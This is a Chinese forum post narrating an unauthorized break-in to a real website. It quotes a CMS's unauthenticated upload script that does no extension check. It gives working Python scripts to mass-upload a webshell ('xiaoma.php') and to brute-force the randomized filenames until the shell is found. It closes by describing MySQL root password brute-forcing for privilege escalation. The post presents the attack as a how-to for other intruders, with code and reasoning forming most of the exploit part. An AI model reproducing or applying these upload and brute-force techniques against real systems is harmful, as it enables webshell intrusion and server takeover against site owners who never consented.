本帖最后由 sladjfksld 于 2016-5-9 11:13 编辑
网站其实早拿下来了,不过一直比较忙没写过帖子。现在论坛的boss们下达了每月一篇稿的任务,我等屌丝不得不硬着头皮写了。。
目标站:http://www.xxxx.com php+iis7.5+windows2008
目标站转了转,没有发现什么漏洞,用的cms也是个很小众的收费程序,网上搜了一下没有找到这个程序源码,遂放弃(其实也可以搜使用相同cms的网站,拿下一个后就可以down下源码分析了,不过这里我没搞这么麻烦)。
查了下旁站,只有10来个,提权的可能性还是挺大的,便用自写的加强版挖掘鸡扫了一下,发现其中一个网站的程序备份,赶紧down下来,根据源码里的记录登录网站后台,看了下是个叫神马XXXX公司的程序,搜了一下用这程序的网站还挺多,后台比较简单,只有常见的信息发布功能。
来到上传图片的地方,试了下常用的一些上传方法,均都不成功,根据返回结果推测后台脚本根据上传文件类型(有白名单限制)自定义文件后缀和文件名。
遂开始蛋疼而枯燥的代码审计,用法师的审计软件大致检查了一下,没有特别明显的getshell漏洞,便把精力放在了上传文件上面。为啥?因为经验!
根据url地址找到处理上传文件脚本upload_intoform_flashpic.php,先看看url后缀,貌似上传路径filepath直接显示出来了。试了一下真的可以自定义上传路径,包括自定义.asp之类的路径。这要是iis6.0的服务器,就直接搞下来了,不过此站采用iis7.5,此路不通。
OK,我们打开upload_intoform_flashpic.php这个文件。先看看文件头,很遗憾的发现没有任何的身份验证。操了个蛋随便一个人都能不登录后台打开这个文件,结合iis6.0又是个杀器。。。所以为了不助长歪风邪气,这里就把所有敏感信息略去了。
[PHP] 纯文本查看 复制代码 <?php
/**
*
* [url=home.php?mod=space&uid=11566]@Author[/url] xxxxxxxxxxxxx
* @date 2014年1月13日11:54:30
* @email [email]xxxxxx@126.com[/email]
*
*/
header('Content-type:text/html; charset=utf-8');
//定义缩略图的宽高,下面会按这个尺寸生成
$THUMB_WIDTH=$_REQUEST['usewidth'];
$THUMB_HEIGHT=$_REQUEST['useheight'];
$THUMB_SIZE=$_REQUEST['usesize'];
$filepath=$_REQUEST['filepath'];
$form_name=$_REQUEST['formname'];
$savepath=$filepath;
$editname=$_REQUEST['editname'];//编辑框的名称
define('THUMB_WIDTH',$THUMB_WIDTH);
define('THUMB_HEIGHT',$THUMB_HEIGHT);
/**
* 重新生成上传的文件名
* @return string
* @author zhao jinhan
*
*/
function _file_type($filetype = null){//设定可以上传三种图片类型
switch($filetype)
{
case "image/jpeg":
$fileextname = "jpg";
break;
case "image/gif":
$fileextname = "gif";
break;
case "image/png":
$fileextname = "png";
break;
default:
$fileextname = false;
break;
}
return $fileextname?date('YmdHis',time()).'.'.$fileextname:false;
}
重点看这个函数_file_type(),代码验证了之前的推测,果然是根据文件类型自定义文件后缀,文件类型还有白名单限制,文件名根据日期时间随机生成。看到这段代码,反正我是没想到什么绕过的思路。
[PHP] 纯文本查看 复制代码 function _file_type($filetype = null){//设定可以上传三种图片类型
switch($filetype)
{
case "image/jpeg":
$fileextname = "jpg";
break;
case "image/gif":
$fileextname = "gif";
break;
case "image/png":
$fileextname = "png";
break;
default:
$fileextname = false;
break;
}
return $fileextname?date('YmdHis',time()).'.'.$fileextname:false;
}
再继续往下,看到这个函数MKFolder($savepath),果然是个可以自定义上传路径的函数。
[PHP] 纯文本查看 复制代码 function MkFolder($savepath){
if(!is_readable($savepath)){
MkFolder( dirname($savepath) );
if(!is_file($savepath)) mkdir($savepath,0777);
}
}
又看了下后面的上传处理代码,没有发现任何可以利用的漏洞(针对目标网站),so这个文件就到此为止了。
在后台还发现几个upload_file*.php命名的文件,看了看,都跟upload_intoform_flashpic.php这个文件差不多,限制死了文件名和后缀。
翻找的时候发现这个叫abc.php的文件,咋一看还以为是个木马文件,打开后发现也是个上传脚本。
abc.php文件代码如下,只是一个简单的上传页面,调用wend.php脚本处理,但是我把这个程序犯了个底朝天也没找到个叫wend.php的文件,无语+呵呵了。
[PHP] 纯文本查看 复制代码 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>文件上传</title>
</head>
<body leftmargin="0" topmargin="0">
<table cellpadding="2" cellspacing="1" border="0" height="100%" align="left">
<form action='wend.php?action=upload' method='post' enctype='multipart/form-data'>
<tr >
<td valign='middle'><input type='file' name='uploadfile'>
<input name='submit' type='submit' value='提交'></td>
</tr>
</form>
</table>
</body>
</html>
不过在程序的一个不起眼的角落发现一个upload_file.php的文件,这个文件有太多的漏洞,虽然没有被其他任何文件调用~~~~,我们先来看看这个文件内容。
先看最后的上传处理部分。
[PHP] 纯文本查看 复制代码 if($upload_err==0){
//将已上传的文件从临时目录移动到制定目录
//生成新的文件名
$targetfilename=$targetDir."\\".$new_file_name;
//if(!move_uploaded_file($file_temp_name,$targetfilename))
if(!move_uploaded_file($file_temp_name,$targetfilename))
{
echo "文件上传失败!";
}else
{
echo "文件上传成功!";
}
}else
{
echo getErr($upload_err);
}
?>
根据代码找到$targetDir和$new_file_name变量生成的地方。
在$targetDir变量生成的地方,可知程序先获取当前文件所在路径,然后加上一个固定的子路径”upload”,由此可知路径不可控。
[PHP] 纯文本查看 复制代码 $upload_dir="upload"; //上传的目录
$currDir=getcwd();
//如果制定的上传目录不存在 则创建目录
$targetDir=$currDir."\\".$upload_dir;
if(!file_exists($targetDir))
{
@mkdir($targetDir,"0777");
}
在$new_file_name变量生成的地方。继续回溯new_file_name()函数和$file_type变量
[PHP] 纯文本查看 复制代码 $new_file_name=new_file_name().$file_type;
先看到new_file_name()函数,它返回一个$safecode存储的安全码,这个安全码由$new_date_str(当前日期)和$safecode(一个10位数字的随机数)组成,这个10位随机数字每一位都不重复。
[PHP] 纯文本查看 复制代码 function new_file_name(){
$arr=range(0,9);
shuffle($arr);
$safecode="";
foreach($arr as $values)
{
$safecode=$safecode.$values;
}
date_default_timezone_set('Etc/GMT-8'); //这里设置了时区 echo
;
$new_date_str=str_replace(" ","",str_replace(":","",str_replace("-","",date("Y-m-d h:m:s"))));//形成20141020的日期格式
$safecode=$new_date_str.$safecode;
return $safecode;
}
再看$file_type变量,可知$file_type直接取了上传文件的后缀名,没有任何验证,这就导致这个文件可以上传任意脚本。
[PHP] 纯文本查看 复制代码 $upload_err =$_FILES["file"]["error"]; //获取文件上传的错误信息
$file_source_name =$_FILES["file"]["name"]; //原始文件名
$file_temp_name =$_FILES["file"]["tmp_name"]; //临时文件名
$file_type =$_FILES["file"]["type"]; //文件mime类型
$file_size =$_FILES["file"]["size"]; //文件大小\
function get_extension($file){//获得文件的扩展名 如 jpg
$newSt=".".substr(strrchr($file, '.'), 1);
return $newSt;
}
$file_type=get_extension($file_source_name);
但还有一个问题是,程序中没有任何一个脚本调用了这个文件,我们该怎么使用它呢?其实前面说到abc.php这个文件,相信会php的都已经知道方法了。Abc.php文件内容是个纯粹的html文件,文件的全部内容都会返回到浏览器本地。这里本地访问abc.php文件,然后审查元素,把form表单中的wend.php?action=upload替换为upload_file.php文件既可以调用了。
终于一切准备就绪了,我们上传。但是郁闷的事情又来了,上传之后找不到上传文件。。。看了一下upload_file.php文件,它最后只返回提示上传成功,并没有返回文件名。网站也没有目录解析/文件遍历漏洞,有个kindeditor编辑器,但是版本很新,也没什么漏洞,不能跨目录浏览。
没有过多从其他旁站、C段入手,因为就单纯想搞搞代码。
当时卡在这里很长时间,想了很多奇淫技巧,都没奏效。大概列在这里,供大家平时拿站的时候能多个思路:
1. 我有后台管理权限,那么我通过前台发一个xss列目录代码,后台登录触发,是不是可以列出指定目录文件?然而事实是不可行,js是客户端脚本,列目录也只能列本地文件,在程序中也没有找到可以通过js操作网站文件的代码。
2. 前面不是有个上传图片的脚本么upload_intoform_flashpic.php?那个脚本上传后返回文件路径,同时可以指定上传路径。那么我上传一个图片到这个目录,同时通过upload_file.php文件上传一个.htaccess文件,重写该目录下的解析规则。然而上传的.htaccess文件名被重命名了(就是那个日期+安全码组成的数字),又是无效。
还有一些方法这里就不列出来了。
整到最后还是想到了爆破上面,上传后的文件名是个日期+随机数组成的一串数字,其中日期和时间可以确定,不确定的就是10位的随机数。前面通过代码可知这10位随机数每一位都不重复,那么通过简单的高中数学算算10*9*8*7*6*5*4*3*2*1=3628800种组合。按照一般网页请求返回时间来算,大概要爆破10天左右时间,这么大声势的爆破,估计管理员早他妈发现了,肯定不能这样爆破的。
网上查了一些资料,php是基于C语言开发,它的随机函数其实也是有规律可循,但需要知道服务端的时间和缺省设置,所以这个也就停留在理论层面想想了。
如果能上传2个文件,那么需要爆破的次数就降低到1814400种,其他以此类堆,如果写个上传脚本批量上传,一个小时内最少能上传1万次,那么需要爆破的次数就只有362次了。
把两个脚本文件down到本地环境测试。经过大量的上传最后确定,在同一小时内,最后10位随机数+2位秒数,其他数字都是确定的。因为不可能在同一秒内上传大量文件,所以秒数也要当成随机数,那么现在需要爆破的次数就达到3628800*60=217728000次,过2亿次了。。。。。。
都走到这一步,其他就不管了。写个批量上传脚本,前面那个upload_file.php文件也没有身份验证,所以可以在本地直接调用。这个脚本没有用多线程,主要是因为windows服务器一个卷的最大文件数是65535个,算上其他目录的文件,这个上传目录的文件最大4、5万个,再大就要崩了,单线程一个小时妥妥的搞定了。
选了个夜深人静,网速欻欻快的时间,用一个完整小时跑了这个脚本,上传了35000多个文件。。。这样算下来平均跑6000次就可以碰到了
[Python] 纯文本查看 复制代码 import requests
url = 'http://www.xxxxxx.com/xxxxxxxx/upload_file.php'
files = {'file':open('xiaoma.php','rb')}
data={'submit':'upload'}
for i in range(1,50000):
try:
response=requests.post(url=url,files=files,data=data)
if response.status_code == 200:
print '上传成功'
else:
print '上传失败'
except Exception as e:
print '上传失败'
再写个随机数生成脚本,结合url生成待检测url地址,比较简单这里就不贴出来了。最后要写一个url检测脚本,可设置多线程。我的运气比较好,跑了不到20分钟就搞定了~~~!@#
[Python] 纯文本查看 复制代码 import requests
from threading import Thread,Lock
from Queue import Queue
def GetUrl():
for url in open('url.txt'):
queue.put(url.strip())
print '共计%d个待检测链接' % queue.qsize()
def CheckUrl():
fout=open('good.txt','b')
while True:
url=queue.get()
try:
response=requests.get(url.strip())
status_code=response.status_code
mu.acquire()
if status_code == 200:
print url.strip(),'存在'
print >>fout,url.strip()
else:
print url.strip(),'不存在'
mu.release()
except Exception as e:
mu.acquire()
print url.strip(),'不存在'
mu.release()
fout.close()
class myThread(Thread):
def __init__(self):
Thread.__init__(self)
def run(self):
CheckUrl()
if __name__=="__main__":
mu=Lock()
queue=Queue()
thpool=[]
threadNum=int(raw_input('设置线程数:'))
GetUrl()
for i in range(threadNum):
th=myThread()
thpool.append(th)
for th in thpool:
th.daemon=True
th.start()
总体拿下shell大概就是上面列的那样,拿下shell后先赶紧删掉上传的文件。发现用的万网虚拟主机,权限不高,限制的也比较死,网管竟然就10几个网站也费这么大劲儿。没办法就用自写的一个root密码爆破脚本,放在服务端爆破,因为是在服务端所以爆破速度是很快的,只要密码字典够强大,root密码很快会有的。
提权就是Mysql root提权,这里就不说了,到此为止吧。 |